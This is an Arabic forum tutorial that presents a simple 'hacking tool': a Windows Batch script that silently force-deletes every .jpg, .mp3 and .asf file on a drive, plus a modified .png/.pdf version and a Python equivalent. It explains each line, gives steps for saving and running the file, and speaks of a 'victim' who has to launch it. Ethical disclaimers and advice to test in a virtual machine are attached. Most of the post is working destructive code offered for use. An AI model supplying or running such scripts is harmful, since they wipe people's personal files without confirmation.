برمجة أداة حذف ملفات بـ Batch وPython

x32x01
  • بواسطة x32x01 ||

دليل تعليمي: برمجة أداة حذف ملفات بـ Batch​

لو إنت مهتم بمجال الأمن السيبراني وبتحب تتعلم إزاي الهكرز بيبرمجوا أدواتهم، المقال ده هيشرح سكربت بسيط بلغة Batch بيحذف ملفات بامتدادات معينة زي .mp3، .jpg، و.asf. 🖥️ ، هنشرح الكود خطوة بخطوة، مع بديل بـ Python، ونصايح عشان تبني أدواتك بطريقة أخلاقية. يلا نبدأ! 🚀

إزاي يشتغل الكود بتاع حذف الملفات؟​

الكود مكتوب بلغة Batch، وهي لغة سكربتات بتاعة Windows. بيستخدم أمر del (بديل حديث لـ deltree) عشان يحذف ملفات بامتدادات معينة زي .mp3، .jpg، و.asf من أقسام الهارد. الكود بيحتاج إذن إداري (Admin Privileges) عشان يشتغل، وبرامج الحماية زي Windows Defender ممكن تكتشفه لو تم تحليله.

شرح الكود خطوة بخطوة​

ده الكود الأصلي مع تعديل عشان يشتغل على الأنظمة الحديثة:
Code:
@echo off
e:
del /Q /F *.jpg
cd\
del /Q /F *.mp3
cd\
del /Q /F *.asf
  • @echo off: بيخفّي الأوامر أثناء التنفيذ عشان الشاشة تبقى نضيفة.
  • e:: بينتقل للقسم E: (تقدر تغيّره لأي قسم زي D: أو F:).
  • del /Q /F *.jpg: بيحذف كل الملفات بامتداد .jpg بدون طلب تأكيد (/Q) وبقوة (/F).
  • cd\: بيرجع للمجلد الجذر (Root) في القسم.
  • del /Q /F *.mp3: بيحذف ملفات .mp3.
  • del /Q /F *.asf: بيحذف ملفات .asf.
الأمر deltree قديم ومش مدعوم في Windows 10/11. استخدمنا del بداله عشان الكود يشتغل صح.

إزاي تنفذ الكود؟​

  • افتح برنامج Notepad وانسخ الكود.
  • احفظ الملف باسم زي delete_files.bat (مهم إن الامتداد يكون .bat).
  • لو عايز تجرب الكود، شغله في بيئة آمنة زي Virtual Machine.

تخصيص الكود​

تقدر تغيّر الامتدادات في الكود حسب احتياجك. مثلاً:
- بدل .mp3، استخدم .png أو .pdf.
- غيّر القسم E: لأي قسم تاني زي D: أو F:.
مثال معدل:
Code:
@echo off
d:
del /Q /F *.png
cd\
del /Q /F *.pdf

بديل بسيط باستخدام Python​

لو عايز كود أكتر مرونة، Python هي الخيار الأفضل. الكود التالي بيستخدم مكتبة os عشان يحذف ملفات بامتدادات معينة.
Python:
# مثال لحذف ملفات بامتدادات معينة باستخدام Python
import os
import glob
drive = "E:"  # غيّر الحرف حسب القسم
os.chdir(drive)
for file in glob.glob("*.jpg"):
    os.remove(file)
for file in glob.glob("*.mp3"):
    os.remove(file)
for file in glob.glob("*.asf"):
    os.remove(file)
print("تم حذف الملفات! 🚨")
  • os وglob: بيسمحولك تحدد الملفات بامتدادات معينة وتحذفها.
  • مرن: تقدر تضيف لوج أو تحدد أقسام معينة.
  • تحذير: زي الكود بتاع Batch، لازم تستخدمه في بيئة آمنة! 🚨

ليه الكود ده مش "فيروس حقيقي"؟​

الكود ده مش فيروس قوي زي ما يتوقع البعض للأسباب دي:
  • محتاج إذن المستخدم: لازم الضحية يشغل ملف .bat بنفسه.
  • سهل الكشف: برامج الحماية زي Windows Defender ممكن تكتشفه كسكربت ضار.
  • تأثير محدود: بيحتاج إذن إداري (Admin Privileges) عشان يحذف ملفات من أقسام محمية.
لو عايز تبني أداة أقوى، اتعلم مكتبات Python زي Scapy أو Impacket عشان تصمم أدوات أكتر تعقيدًا (للأغراض الأخلاقية بس!).

نصايح لبناء أدوات اختراق أخلاقية​

  • اتعلم Python: ابدأ بكورسات على يوتيوب زي "Python for Ethical Hacking".
  • جرب مكتبات قوية: زي Requests، Scapy، وSelenium.
  • مارس في بيئة آمنة: استخدم منصات زي TryHackMe أو HackTheBox.
  • انشر مشاريعك: انشئ حساب على GitHub وشارك أدواتك عشان تتحسن.

الخلاصة: برمج بأخلاقيات وتعلم بأمان!​

السكربت اللي شرحناه (سواء Batch أو Python) هو أداة بسيطة لتعليم مفاهيم الأمن السيبراني. لو عايز تبني أدوات اختراق احترافية، ركز على تعلم Python ومكتباتها زي Scapy وRequests. جرب أدواتك في بيئة آمنة، وشاركها على GitHub. الأهم إنك تحافظ على الأخلاقيات وتستخدم مهاراتك في حماية الأنظمة، مش تدميرها! 💪
 
التعديل الأخير:
المواضيع ذات الصلة
x32x01
الردود
0
المشاهدات
784
x32x01
x32x01
x32x01
الردود
0
المشاهدات
707
x32x01
x32x01
x32x01
الردود
1
المشاهدات
734
x32x01
x32x01
x32x01
الردود
0
المشاهدات
698
x32x01
x32x01
x32x01
الردود
0
المشاهدات
753
x32x01
x32x01
x32x01
الردود
0
المشاهدات
552
x32x01
x32x01
x32x01
الردود
0
المشاهدات
446
x32x01
x32x01
x32x01
الردود
0
المشاهدات
432
x32x01
x32x01
x32x01
الردود
0
المشاهدات
854
x32x01
x32x01
x32x01
  • x32x01
الردود
0
المشاهدات
492
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
1,836
المشاركات
2,051
أعضاء أكتب كود
460
أخر عضو
jhghk
عودة
أعلى